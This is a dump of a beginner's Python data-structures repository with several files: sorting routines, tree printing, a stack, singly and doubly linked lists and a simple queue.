"repo_name": "Niramay33/DataStructure-Python", "src_encoding": "UTF-8", "text": "# Applying on array\ndef bubble_sort_array(arr):\n for j in range(len(arr) - 1):\n swapped = False\n for i in range((len(arr) - 1) - j):\n if arr[i] > arr[i + 1]:\n temp = arr[i]\n arr[i] = arr[i + 1]\n arr[i + 1] = temp\n swapped = True\n if not swapped:\n break\n\n\n# Applying on dictionary \ndef bubble_sort_dict(elements, key):\n for j in range(len(elements)):\n swapped = False \n for i in range(len(elements) - 1 - j):\n if( elements[i + 1][key] < elements[i][key] ):\n temp = elements[i][key]\n elements[i][key] = elements[i + 1][key]\n elements[i + 1][key] = temp\n swapped = True\n if not swapped:\n break\n\n\nif __name__ == '__main__':\n# arr = [5, 9, 2, 1, 67, 34, 88, 34]\n# bubble_sort_array(arr)\n# print(arr)\n\n elements = [\n { 'name': 'mona', 'transaction_amount': 1000, 'device': 'iphone-10'},\n { 'name': 'dhaval', 'transaction_amount': 400, 'device': 'google pixel'},\n { 'name': 'kathy', 'transaction_amount': 200, 'device': 'vivo'},\n { 'name': 'aamir', 'transaction_amount': 800, 'device': 'iphone-8'},\n ]\n\n bubble_sort_dict(elements, 'name')\n # bubble_sort(elements, 'transaction_amount')\n\n for i in elements:\n print(i)\n" }, { "alpha_fraction": 0.5632529854774475, "alphanum_fraction": 0.5647590160369873, "avg_line_length": 26.65277862548828, "blob_id": "f3665d31d08a7359b699da61beaf63eb918e20bd", "content_id": "960c9a1b1526e5b784e2ace53c99803131cc9d8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1992, "license_type": "no_license", "max_line_length": 60, "num_lines": 72, "path": "/Tree/custom_print_tree.py", "repo_name": "Niramay33/DataStructure-Python", "src_encoding": "UTF-8", "text": "class TreeNode:\n def __init__(self, name, designation) -> None:\n self.name = name\n self.designation = designation\n self.children = []\n self.parent = None \n\n def addChild(self, child):\n child.parent = self\n self.children.append(child)\n\n def print_tree(self, to_print):\n if to_print.lower() == \"name\":\n print(self.name)\n elif to_print.lower() == \"designation\":\n print(self.designation)\n elif to_print == \"*\":\n print(f\"{self.name} ({self.designation})\")\n else:\n print(\"Invalid data retrival permission ..!!\")\n return\n\n spaces = ' ' * (self.get_level() + 1)\n prifix = spaces + \"|___\"\n\n if self.children:\n for child in self.children:\n print(prifix, end=\"\")\n child.print_tree(to_print)\n\n def get_level(self):\n level = 0\n p = self.parent\n\n while p:\n level += 1\n p = p.parent\n return level\n\ndef built_product():\n CEO = TreeNode(\"Nilupul\", \"CEO\")\n\n CTO = TreeNode(\"Chinmay\", \"CTO\")\n infra_head = TreeNode(\"Vishwa\", \"Infrastructure Head\")\n cloud_manager = TreeNode(\"Dhaval\", \"Cloud Manager\")\n app_mag = TreeNode(\"Abhijit\", \"App Manager\")\n app_head = TreeNode(\"Amir\", \"Application Head\")\n hr_head = TreeNode(\"Gels\", \"HR Head\")\n rec_mag = TreeNode(\"Peter\", \"Recruitment Manager\")\n policy_manager = TreeNode(\"Waqas\", \"Policy Manager\")\n\n CTO.addChild(infra_head)\n \n infra_head.addChild(cloud_manager)\n infra_head.addChild(app_mag)\n\n CTO.addChild(app_head)\n\n hr_head.addChild(rec_mag)\n hr_head.addChild(policy_manager)\n\n CEO.addChild(CTO)\n CEO.addChild(hr_head)\n \n return CEO\n\n\nif __name__ == '__main__':\n root = built_product()\n root.print_tree(\"*\") # Print both name and designation \n # root.print_tree(\"Name\") # Print Name\n # root.print_tree(\"designation\") # Print designation \n" }, { "alpha_fraction": 0.5916534662246704, "alphanum_fraction": 0.5937665104866028, "avg_line_length": 21.270587921142578, "blob_id": "d9b6e55005d47f606caa687bff6b87fbf6fac4ea", "content_id": "27a15dad8123de062e27f81125611b7fcaca8111", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1893, "license_type": "no_license", "max_line_length": 55, "num_lines": 85, "path": "/Tree/print_according_level.py", "repo_name": "Niramay33/DataStructure-Python", "src_encoding": "UTF-8", "text": "class TreeNode:\n def __init__(self, data) -> None:\n self.data = data\n self.children = []\n self.parent = None \n\n def addChild(self, child):\n child.parent = self\n self.children.append(child)\n\n def print_tree(self, level):\n if self.get_level() > level:\n return \n\n spaces = ' ' * (self.get_level() + 1)\n prifix = spaces + \"|___\" if self.parent else \"\"\n\n print(prifix + self.data)\n if self.children:\n for child in self.children:\n child.print_tree(level)\n\n def get_level(self):\n level = 0\n p = self.parent\n\n while p:\n level += 1\n p = p.parent\n return level\n\ndef built_product():\n Global = TreeNode(\"Global\")\n\n INDIA = TreeNode(\"India\")\n \n guj = TreeNode(\"Gujarat\")\n ahme = TreeNode(\"Ahmedabad\")\n baroda = TreeNode(\"Baroda\")\n\n karnataka = TreeNode(\"Karnataka\")\n bangluru = TreeNode(\"Bangluru\")\n Mysore = TreeNode(\"Mysore\")\n\n USA = TreeNode(\"USA\")\n\n new_jersey = TreeNode(\"New Jersey\")\n princeton = TreeNode(\"Princeton\")\n Trenton = TreeNode(\"Trenton\")\n\n california = TreeNode(\"California\")\n san_franc = TreeNode(\"San Francisco\")\n mountain_view = TreeNode(\"Mountain View\")\n palo_alto = TreeNode(\"Palo Alto\")\n\n california.addChild(san_franc)\n california.addChild(mountain_view)\n california.addChild(palo_alto)\n\n new_jersey.addChild(princeton)\n new_jersey.addChild(Trenton)\n\n USA.addChild(new_jersey)\n USA.addChild(california)\n\n karnataka.addChild(bangluru)\n karnataka.addChild(Mysore)\n\n guj.addChild(ahme)\n guj.addChild(baroda)\n\n INDIA.addChild(guj)\n INDIA.addChild(karnataka)\n\n Global.addChild(INDIA)\n Global.addChild(USA)\n\n return Global\n\n\nif __name__ == '__main__':\n root = built_product()\n root.print_tree(2)\n\n print()\n" }, { "alpha_fraction": 0.5230320692062378, "alphanum_fraction": 0.5306122303009033, "avg_line_length": 30.759260177612305, "blob_id": "3aa9ea64c8b9d34081716f7e5c661957d7a7fcae", "content_id": "8b11c3a9c6ef880d1893151dd5ac6783a0456f79", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1715, "license_type": "no_license", "max_line_length": 108, "num_lines": 54, "path": "/Stack.py", "repo_name": "Niramay33/DataStructure-Python", "src_encoding": "UTF-8", "text": "# Simple Stack Data Stucture made using python\n\nclass Stack(object):\n def __init__(self, limit = 10):\n self.stack = []\n self.limit = limit\n \n # for printing stack\n def __str__(self):\n return ' '.join([str(i) for i in self.stack])\n\n # for pushing an element to stack\n def push(self, data):\n if len(self.stack) >= self.limit:\n print('Stack Overflow')\n else:\n self.stack.append(data)\n\n # for popping the uppermost element\n def pop(self):\n if len(self.stack) <= 0:\n return \"Stack empty\"\n else:\n return self.stack.pop()\n\n # for peeking(looking) the top-most element of the stack\n def peek(self):\n if len(self.stack) <= 0:\n return \"Stack empty\"\n else:\n return self.stack[len(self.stack) - 1]\n\n # to check weather stack is empty or not \n def checkEmpty(self):\n return self.stack == []\n\n # to check the size of stack\n def size(self):\n return len(self.stack)\n\nif __name__ == '__main__':\n MyStack = Stack() #Creating object of stack class\n for i in range(10):\n MyStack.push(i)\n print(MyStack)\n MyStack.pop() # popping the top element\n MyStack.push(90)\n MyStack.push(125)\n print(MyStack)\n MyStack.pop()\n print(MyStack)\n print(MyStack.peek()) # Print the top-most(1st) element of the stack\n print(\"Is stack empty ..? -> \", MyStack.checkEmpty()) # Will cheak weather stack is empty or not\n print(MyStack.size()) # Print the size if the stack\n" }, { "alpha_fraction": 0.46075716614723206, "alphanum_fraction": 0.46352723240852356, "avg_line_length": 21.102041244506836, "blob_id": "784a78e987d6e9852d4fbe8311c0f4b99baee3a7", "content_id": "c2767a744c53dfb96bd52cbe6d486564541796ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1083, "license_type": "no_license", "max_line_length": 56, "num_lines": 49, "path": "/Linked_list/DoublyLinkedList.py", "repo_name": "Niramay33/DataStructure-Python", "src_encoding": "UTF-8", "text": "class Node:\n def __init__(self, data=None, next=None, prev=None):\n self.data = data\n self.next = next\n self.prev = prev\n\nclass DoublyLinkedList:\n def __init__(self):\n self.head = None\n\n def InsertAtBegin(self, data):\n if self.head == None:\n self.head = Node(data, self.head, None)\n else:\n node = Node(data, self.head, None)\n self.head.prev = node\n self.head = node\n\n def printLL(self):\n itr = self.head \n \n while itr:\n print(f\"{itr.data} --> \", end='') \n itr = itr.next\n \n print()\n\n def printLLRev(self): \n itr = self.head\n \n while itr.next:\n itr = itr.next \n \n while itr:\n print(f\"{itr.data} <-- \", end='')\n itr = itr.prev\n \n print()\n\n \nif __name__ == '__main__':\n dll = DoublyLinkedList()\n \n dll.InsertAtBegin(3)\n dll.InsertAtBegin(2)\n dll.InsertAtBegin(1)\n \n dll.printLL()\n dll.printLLRev()\n" }, { "alpha_fraction": 0.5616113543510437, "alphanum_fraction": 0.571090042591095, "avg_line_length": 27.133333206176758, "blob_id": "3629104d196dcb8ae5d83856f387937a1fde5599", "content_id": "5fa3c3b26d76dece6007101f6f4b5213035081aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 422, "license_type": "no_license", "max_line_length": 59, "num_lines": 15, "path": "/array_sorting/ascending_order_(n_size).py", "repo_name": "Niramay33/DataStructure-Python", "src_encoding": "UTF-8", "text": "num = [] \narray_size = int(input(\"Enter size of array: \"))\n\nfor i in range(0, array_size):\n digit = int(input(f\"Enter digit-{i+1}: \"))\n num.append(digit)\n\nprint(f\"\\nBefor sorting:\\n{num}\\n\")\nfor i in range(0, array_size):\n for j in range(0, array_size):\n if num[i] < num[j]:\n num[i], num[j] = num[j], num[i]\n print(num)\n\nprint(f\"\\nFinal sorted array in Ascending Order:\\n{num}\\n\")\n" }, { "alpha_fraction": 0.6028037667274475, "alphanum_fraction": 0.6127725839614868, "avg_line_length": 21.928571701049805, "blob_id": "c9aa001bc51800a511f641ceb4227509f9fcd92e", "content_id": "d6a05151843eb8d922a6ce6c06221b422b1ba21e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3210, "license_type": "no_license", "max_line_length": 95, "num_lines": 140, "path": "/Linked_list/Slinked_list.py", "repo_name": "Niramay33/DataStructure-Python", "src_encoding": "UTF-8", "text": "class Node:\n\tdef __init__(self, data=None, next=None) -> None:\n\t\tself.data = data\n\t\tself.next = next\n\n\nclass LinkedList:\n\tdef __init__(self) -> None:\n\t\tself.head = None\n\n\tdef insert_at_beginning(self, data):\n\t\t\"\"\"It Insert node at beginning, that is at first position\"\"\"\n\n\t\tnode = Node(data, self.head)\n\t\tself.head = node\n\n\tdef insert_at_end(self, data):\n\t\t\"\"\"It insert at last element\"\"\"\n\n\t\tif self.head is None:\n\t\t\tself.head = Node(data, None)\n\t\t\treturn\n\t\titr = self.head\n\t\twhile itr.next:\n\t\t\titr = itr.next\n\t\titr.next = Node(data, None)\n\n\tdef print_list(self):\n\t\t\"\"\"Print the element in linked list\"\"\"\n\n\t\tif self.head is None:\n\t\t\tprint(\"List is empty: \")\n\t\t\treturn\n\t\titr = self.head\n\t\t# llstr = '' # Another\n\t\twhile itr:\n\t\t\t# llstr += str(itr.data)+' --> ' if itr.next else str(itr.data) # Way\n\t\t\tprint(str(itr.data) + ' --> ', end='')\n\t\t\titr = itr.next\n\t\tprint()\n\n\t# print(llstr) # To do it\n\n\tdef find_length(self):\n\t\t\"\"\"Will return length of linked list\"\"\"\n\n\t\titr = self.head\n\t\tcount = 0\n\t\twhile itr:\n\t\t\tcount += 1\n\t\t\titr = itr.next\n\t\treturn count\n\n\tdef insert_using_index(self, index, data):\n\t\t\"\"\"It insert by finding index\"\"\"\n\n\t\tif index < 0 or index > self.find_length():\n\t\t\traise Exception(\"Invalid Index\")\n\t\tif index == 0:\n\t\t\tself.insert_at_end(data)\n\t\t\treturn\n\n\t\titr = self.head\n\t\tcount = 0\n\t\twhile itr:\n\t\t\tif count == index - 1:\n\t\t\t\titr.next = Node(data, itr.next)\n\t\t\t\tbreak\n\t\t\titr = itr.next\n\t\t\tcount += 1\n\n\tdef insert_values(self, data_list):\n\t\t\"\"\"It takes input of list and insert one by one element in new linked list\"\"\"\n\n\t\tself.head = None\n\t\tfor data in data_list:\n\t\t\tself.insert_at_end(data)\n\n\tdef remove_at(self, index):\n\t\t\"\"\"It removes element by finding it through its index\"\"\"\n\n\t\tif 0 > index < self.findlength():\n\t\t\traise Exception(\"invalid input\")\n\n\t\tif index == 0:\n\t\t\tself.head = self.head.next\n\t\t\treturn\n\n\t\titr = self.head\n\t\tcount = 0\n\t\twhile itr:\n\t\t\tif count == index - 1:\n\t\t\t\titr.next = itr.next.next\n\t\t\t\tbreak\n\t\t\titr = itr.next\n\t\t\tcount += 1\n\n\tdef remove_with_data(self, data):\n\t\t\"\"\"Will take a string and remove it from the list\"\"\"\n\n\t\titr = self.head\n\t\ttemp_list = []\n\t\twhile itr:\n\t\t\ttemp_list.append(str(itr.data))\n\t\t\titr = itr.next\n\t\tfor i in temp_list:\n\t\t\tif data in i:\n\t\t\t\ttemp_list.remove(i)\n\t\tself.insert_values(temp_list)\n\n\nif __name__ == '__main__':\n\tll = LinkedList()\n\t# Insert at beginning function use\n\tll.insert_at_beginning(100)\n\tll.insert_at_beginning(34)\n\tll.insert_at_beginning(50)\n\tll.print_list()\n\n\t# Insert at end function use (HERE 23 and 78 is inserted after last node 100)\n\tll.insert_at_end(23)\n\tll.insert_at_end(78)\n\tll.print_list()\n\n\t# Using insert value function which will create a whole new linked list from provided list\n\tcars = [\"Audi\", \"BMW\", \"Jaguar\", \"Ferrari\"]\n\tll.insert_values(cars)\n\tll.print_list()\n\n\t# Toyota will be inserted at second position (AFTER BMW and BEFORE JAGUAR)\n\tll.insert_using_index(2, \"Toyota\")\n\tll.print_list()\n\n\t# Will remove element as per index\n\tll.remove_at(0)\n\tll.print_list()\n\n\t# Will remove the entered string from list\n\tll.remove_with_data(\"BMW\")\n\tll.print_list()\n" }, { "alpha_fraction": 0.5084174871444702, "alphanum_fraction": 0.5353535413742065, "avg_line_length": 16.47058868408203, "blob_id": "5526a03627acfeb06f872b63e93c9bb9c7b6ee2f", "content_id": "c0e4cf2e5bd2dea9953d2089ed25e6ed88fc122b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 297, "license_type": "no_license", "max_line_length": 45, "num_lines": 17, "path": "/find_list_duplicate.py", "repo_name": "Niramay33/DataStructure-Python", "src_encoding": "UTF-8", "text": "list_1 = []\nlist_2 = []\n\nsize = int(input(\"Enter maximum size: \"))\n\nprint(\"\\n\")\nfor _ in range(0, size):\n temp = int(input(f\"Enter value {_+1}: \"))\n list_1.append(temp)\n\nprint(\"\\n\")\n\nfor i in list_1:\n if i not in list_2:\n list_2.append(i)\n else:\n print(\"Duplicate: \", i)\n" }, { "alpha_fraction": 0.5039578080177307, "alphanum_fraction": 0.5263852477073669, "avg_line_length": 20.05555534362793, "blob_id": "914d04257524d83d215b8070c83ff2375b1ea8c4", "content_id": "4719af0d24fd3c4971e0d5b830c0f96ce84cc2f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 758, "license_type": "no_license", "max_line_length": 44, "num_lines": 36, "path": "/sorting_algo/quick_sort/lomuto.py", "repo_name": "Niramay33/DataStructure-Python", "src_encoding": "UTF-8", "text": "def swap_ele(a, b, arr):\n if a != b:\n arr[a], arr[b] = arr[b], arr[a]\n\n\ndef partition(elements, start, end):\n p_idx = start\n pivot = elements[end]\n\n for i in range(start, end):\n if elements[i] <= pivot:\n swap_ele(i, p_idx, elements)\n p_idx += 1\n\n swap_ele(p_idx, i, elements)\n\n return p_idx\n\n\ndef quick_sort(elements, start, end):\n if len(elements) == 1:\n return \n \n if start < end:\n pi = partition(elements, start, end)\n quick_sort(elements, pi + 1, end)\n quick_sort(elements, start, pi - 1)\n\n\nif __name__ == '__main__':\n elements = [11, 9, 29, 7, 2, 15, 28]\n\n start = 0\n end = len(elements) - 1\n quick_sort(elements, start, end)\n print(elements)\n" }, { "alpha_fraction": 0.8208954930305481, "alphanum_fraction": 0.8208954930305481, "avg_line_length": 32.5, "blob_id": "9d60bfe42bb0c244c4cbd81b850f8e1d9b6c490c", "content_id": "8ce8e5f40cd8cc824ffd76cce38ad622d50d0526", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 67, "license_type": "no_license", "max_line_length": 43, "num_lines": 2, "path": "/README.md", "repo_name": "Niramay33/DataStructure-Python", "src_encoding": "UTF-8", "text": "# DataStructure-Python\nData Structures which can be used in python\n" }, { "alpha_fraction": 0.7150259017944336, "alphanum_fraction": 0.7227979302406311, "avg_line_length": 20.44444465637207, "blob_id": "6bccb4bf00b1bd733db6ef3462cf325f217f3ead", "content_id": "85215418ce02343f5ee6776a455fe7a2bea424dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 386, "license_type": "no_license", "max_line_length": 64, "num_lines": 18, "path": "/queue.py", "repo_name": "Niramay33/DataStructure-Python", "src_encoding": "UTF-8", "text": "queue = []\n\n# Elements will be added to the queue\nqueue.append('a') # append will add new data to previous data \nqueue.append('b')\nqueue.append('c')\n\nprint(\"Initial queue\")\nprint(queue)\n\n# Elements will be removed from the queue\nprint(\"\\nElements dequeued from queue\")\nprint(queue.pop(0))\nprint(queue.pop(0))\nprint(queue.pop(0))\n\nprint(\"\\nQueue after removing elements\")\nprint(queue)\n" }, { "alpha_fraction": 0.5396578311920166, "alphanum_fraction": 0.5419906973838806, "avg_line_length": 19.74193572998047, "blob_id": "8e286650cb45364651104b3858b85a852606a51e", "content_id": "2efb676aa60d57cda27432b0e699f432964bd8b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1286, "license_type": "no_license", "max_line_length": 48, "num_lines": 62, "path": "/Tree/tree.py", "repo_name": "Niramay33/DataStructure-Python", "src_encoding": "UTF-8", "text": "class TreeNode:\n def __init__(self, data) -> None:\n self.data = data\n self.children = []\n self.parent = None \n\n def addChild(self, child):\n child.parent = self\n self.children.append(child)\n\n def print_tree(self):\n print(self.data)\n spaces = ' ' * (self.get_level() + 1)\n prifix = spaces + \"|___\"\n\n if self.children:\n for child in self.children:\n print(prifix, end=\"\")\n child.print_tree()\n\n def get_level(self):\n level = 0\n p = self.parent\n\n while p:\n level += 1\n p = p.parent\n return level\n\n \ndef built_product():\n root = TreeNode(\"Electronics\")\n\n laptop = TreeNode(\"Laptop\")\n\n MacBook = TreeNode(\"MacBook\")\n asus = TreeNode(\"Asus\")\n hp = TreeNode(\"HP\")\n \n laptop.addChild(MacBook)\n laptop.addChild(asus)\n laptop.addChild(hp)\n\n phone = TreeNode(\"Phone\")\n\n iphone = TreeNode(\"Iphone\")\n samsung = TreeNode(\"Samsung\")\n nokia = TreeNode(\"Nokia\")\n\n phone.addChild(iphone)\n phone.addChild(samsung)\n phone.addChild(nokia)\n\n root.addChild(laptop)\n root.addChild(phone)\n \n return root\n\n\nif __name__ == '__main__':\n root = built_product()\n root.print_tree()\n" } ]
17
parrot88/myLib
https://github.com/parrot88/myLib
0893dad57b1a99514fd8684c5b0bc4cdb8f8dab4
56b218a4e0abdef1c393ef0eae0aa083e86fd903
27f0e35e82939336afbfab2d17b7b1ba6b7b7766
refs/heads/master
2021-01-17T10:05:19.943220
2018-01-07T22:31:59
2018-01-07T22:31:59
50,704,827
1
0
null
2016-01-30T02:31:55
2016-11-02T09:39:43
2018-01-07T22:31:59
PHP
[ { "alpha_fraction": 0.3638671934604645, "alphanum_fraction": 0.3667968809604645, "avg_line_length": 26.239360809326172, "blob_id": "eaf83c17df61f95d4281447e8da981f9e0af214b", "content_id": "2721fceed0777e2b8a04d90f5e9767682e7b1e8f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 5646, "license_type": "no_license", "max_line_length": 76, "num_lines": 188, "path": "/dbClass.php", "repo_name": "parrot88/myLib", "src_encoding": "UTF-8", "text": "<?php\n//************************************************\n// データベース接続機能\n// ver 1.0.2\n//************************************************\n// 定数ファイル読み込み\nrequire_once(\"/home/doitsugoland/www/conf.php\");\n\n\nclass DBClass{\n\n var $handle = DSN;\t\t//デフォルトではsqlはglucklich_manegementテーブルへ接続\n//\tvar $handle = DSN_SHOP;\t//ec cube用テーブル glucklich_database_sakura\n var $dbh = null; //DBハンドラー\n\n //----------------------------------------------------------------------\n public function __construct(){\n $this->request_sql(); //ハンドラー生成\n }\n\n //----------------------------------------------------------------------\n /*\n //************************************************\n // dbアクセスをec cubeに切り替える\n public function init_shop(){\n $this->handle = DSN_SHOP;\n }\n */\n //************************************************\n // dbアクセスをマネジメントシステムに切り替える\n public function init_management(){\n $this->handle = DSN;\n }\n\n //----------------------------------------------------------------------\n\n\n //************************************************\n // sql文を実行 bind分追加\n // $sql : select * from `test_word` where ID = :ID\n // $bind: array(\":ID\"=>$id)\n function excute_sql_bind($sql,$bind){\n if( (strlen($sql) < 1) && $sql == \"\" )\n return false;\n\n // データベースハンドルを返す\n $dbh = $this->dbh;\n //$dbh = $this->request_sql();\n try{\n //$stmt = $dbh->prepare($dbh->quote($sql));\n $stmt = $dbh->prepare($sql);\n $res = $stmt->execute($bind);\n }catch (PDOException $e){\n print('Error:'.$e->getMessage());\n die();\n }\n $dbh = null;\n // return $res;\n return $stmt->fetchAll();\n }\n\n //************************************************\n // sql文を実行\n function excute_sql($sql){\n if( (strlen($sql) < 1) && $sql == \"\" )\n return false;\n\n // データベースハンドルを返す\n $dbh = $this->dbh;\n //$dbh = $this->request_sql();\n try{\n $stmt = $dbh->prepare($sql);\n $res = $stmt->execute(array());\n //$res = $stmt->execute($arr_vals);\n }catch (PDOException $e){\n print('Error:'.$e->getMessage());\n die();\n }\n $dbh = null;\n return $stmt->fetchAll();\n }\n\n //************************************************\n // クエリの結果を配列にして返す\n function get_result_arr($arr){\n\n $all_list = array();\n foreach($arr as $feed){\n foreach ($feed as $key=>$row) {\n $new_list = array();\n $new_list['$key'] = $row;\n }\n $all_list[] = $new_list;\n }\n return $all_list;\n }\n\n //************************************************\n // insert prepareを使用したもの\n // SQLインジェクションのためこちらを推奨\n function InsertP($table,$query){\n\n $sql1 = 'INSERT INTO '.$table.' (';\n $sql2 = ') VALUES( ';\n $sql3 = ')';\n\n $size = sizeof($query);\n $key_sum = $val_sum = \"\";\n foreach($query as $key=>$val){\n\n $arr_vals[] = $val;\n $key = '`'.$key.'`';\n\n if($size>1){\n $key_sum = $key_sum.$key.\", \";\n $val_sum = $val_sum.'\"'.$val.\"\\\", \";\n $size--;\n }else{\n $key_sum = $key_sum.$key.\" \";\n $val_sum = $val_sum.'\"'.$val.\"\\\" \";\n }\n }\n $sql = $sql1.$key_sum.$sql2.$val_sum.$sql3;\n\n //print $sql;\n\n $res = false;\n $dbh = $this->dbh;\n //$dbh = $this->request_sql();\n try{\n $stmt = $dbh->prepare($sql);\n $res = $stmt->execute($arr_vals);\n }catch (PDOException $e){\n print('Error:'.$e->getMessage());\n die();\n }\n $dbh = null;\n return $res;\n }\n\n //************************************************\n // sqlのハンドルを取得 ※使用後はnullを代入\n function request_sql(){\n try{\n $dbh = new PDO( $this->handle, DB_USER, DB_PASSWORD);\n $this->dbh = $dbh;\n return $dbh;\n }catch (PDOException $e){\n print('Error:'.$e->getMessage());\n die();\n }\n }\n\n //----------------------------------------------------------------------\n\n //シングルクォート・ダブルクォートのエスケープ処理\n function quote($str){\n return $this->dbh->quote($str);\n }\n\n //************************************************\n //データベースから取得した日本単語をUTF形式へなおす\n\n function toUTF($word){\n return mb_convert_encoding($word,'UTF-8','EUC-JP');\n }\n\n //************************************************\n //UTF形式をデータベースのEUC形式へなおす\n\n function toEUC($word){\n return mb_convert_encoding($word,'EUC-JP','UTF-8');\n }\n\n //************************************************\n //日時を取得\n function get_nowDate(){\n return date(\"Y-m-d H:i:s\");\n }\n\n //************************************************\n //HTML特殊文字のエンコード DBからの参照時に使用\n function h($str) {\n return htmlspecialchars($str, ENT_QUOTES, 'UTF-8');\n }\n\n}\n?>" }, { "alpha_fraction": 0.38461539149284363, "alphanum_fraction": 0.38769230246543884, "avg_line_length": 26.7560977935791, "blob_id": "55bdf915cf69fe12d63adb03738ecd221e917858", "content_id": "23fa398867c2365039e7c068175c07b418fc06de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 2441, "license_type": "no_license", "max_line_length": 106, "num_lines": 82, "path": "/func_input.php", "repo_name": "parrot88/myLib", "src_encoding": "UTF-8", "text": "<?php\n//************************************************\n// コマンドライン入力機能クラス\n//************************************************\n// 定数ファイル読み込み\nrequire_once(\"/home/glucklich/conf.php\");\nrequire_once(\"/home/glucklich/info.php\");\n\n//require_once(__FUNC__.\"first_init.php\"); //初期処理\nrequire_once(__FUNC__.\"dbClass.php\");\n\n\nclass InputClass{\n //-----------------------------------------------------------------------------------------\n\n const ANSWER_YES = 1; //回答yes\n const ANSWER_NO = 2; //回答no\n const STR_LINE = \"//-------------------------------------------------------------------\";\n\n /*\n public static ANSWER_YES = 1; //回答yes\n public static ANSWER_NO = 2; //回答no\n public static STR_LINE = \"//-------------------------------------------------------------------\";\n */\n\n public $line_str = \"//-------------------------------------------------------------------\";\n public $eof = PHP_EOL;\n\n //-----------------------------------------------------------------------------------------\n\n //入力文字列取得\n function get_input(){\n return trim(fgets(STDIN));\n }\n\n //数字入力確認関数\n function get_num(){\n $num = $this->get_input();\n if(ctype_digit($num)){\n return $num;\n }\n echo \"unexpected input.\", PHP_EOL;\n exit();\n }\n\n //数字入力確認関数(Enterで入力スキップ可能)\n //Enter: true\n function get_num_skip_enter(){\n $num = $this->get_input();\n if(ctype_digit($num)){\n return $num;\n }else if(strlen(str_replace(array(\"\\n\",\"\\r\"),\"\",$num)) === 0){\n return true;\n }\n echo str_replace(array(\"\\n\",\"\\r\"),\"\",$num),PHP_EOL;\n echo strlen(str_replace(array(\"\\n\",\"\\r\"),\"\",$num)),PHP_EOL;\n echo \"unexpected input.\", PHP_EOL;\n exit();\n }\n\n //yes or no 入力を取得する\n //y:1, n:2\n function get_yes_no(){\n $str = $this->get_input();\n if(strpos($str, \"y\") !== false ){\n return self::ANSWER_YES;\n }else if(strpos($str, \"n\" ) !== false ){\n return self::ANSWER_NO;\n }\n echo \"unexpected input.\", PHP_EOL;\n exit();\n }\n\n //ラインを描画する\n function draw_line(){\n echo $this->STR_LINE,PHP_EOL;\n //echo $this->eof;\n }\n\n\n}\n?>" }, { "alpha_fraction": 0.650632917881012, "alphanum_fraction": 0.6607595086097717, "avg_line_length": 19.789474487304688, "blob_id": "247554f3c4c48c0b917622081df85492eb2a1373", "content_id": "6ec2c81453cda1f7759dcf1f3f49cf7276968511", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 395, "license_type": "no_license", "max_line_length": 51, "num_lines": 19, "path": "/test.py", "repo_name": "parrot88/myLib", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom bs4 import BeautifulSoup\nimport urllib2\n#import os, re, urlparse\n\n#Site = 'https://www.google.co.jp'\nSite = 'http://www.yahoo.co.jp/'\n\nsoup = BeautifulSoup(urllib2.urlopen(Site), \"lxml\")\n#res = soup.find_all(\"a\")\n#res = soup.a.get(\"href\")\nres = soup.select('a[href^=\"http://\"]')\n\nfor one in res:\n print one\n\n#from pprint import pprint\n#pprint(txt)\nprint 'Finish'\n" }, { "alpha_fraction": 0.27559053897857666, "alphanum_fraction": 0.27559053897857666, "avg_line_length": 24.200000762939453, "blob_id": "783698ec9909732e8c9e7121715238d4711940a1", "content_id": "69d72b83d226d5c84f4c3b70def6901841744e21", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 127, "license_type": "no_license", "max_line_length": 38, "num_lines": 5, "path": "/readme.txt", "repo_name": "parrot88/myLib", "src_encoding": "UTF-8", "text": "//------------------------------------\n\tRead Me\n//------------------------------------\n\nThese file is just my usal func list.\n\n" }, { "alpha_fraction": 0.5240309834480286, "alphanum_fraction": 0.5240309834480286, "avg_line_length": 16.432432174682617, "blob_id": "27fb20361fcb7b45e1598f702afcc4fe28d61fb1", "content_id": "bbaee9164c9e1f8bc0b9acae416d0a2aa9f26fc1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 721, "license_type": "no_license", "max_line_length": 62, "num_lines": 37, "path": "/read.php", "repo_name": "parrot88/myLib", "src_encoding": "UTF-8", "text": "<?php\n// 読込ファイル\n\n\nclass Read{\n\n public $code;\n\n //ファイル読み込み\n function set($path){\n $this->code = $this->get_html($path);\n// $this->code = file_get_contents($path, true);\n }\n\n function get_html($path){\n return file_get_contents($path, true);\n }\n\n\n //ファイル内の文字列を変換\n function change($key, $str){\n $this->code = str_replace( $key, $str, $this->code );\n }\n\n //ファイル内の文字列を変換\n function change_add($key, $str){\n $this->code += str_replace( $key, $str, $this->code );\n }\n\n //\n function change_html($key, $str, $body){\n return str_replace( $key, $str, $body );\n }\n\n\n}\n?>\n" }, { "alpha_fraction": 0.581459105014801, "alphanum_fraction": 0.5946242213249207, "avg_line_length": 19.48314666748047, "blob_id": "94629cd41b5e344ed8052c7a69c29f8babc80dc3", "content_id": "d4cc35fcacb801f7aa1940d8c913964708ffd9ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 2099, "license_type": "no_license", "max_line_length": 74, "num_lines": 89, "path": "/kinri.php", "repo_name": "parrot88/myLib", "src_encoding": "UTF-8", "text": "<?php\n//金利の計算クラス\n//参考url: https://www.bankrate.jp/dictionary/interest_rate/calculate/\n\n$ir = new 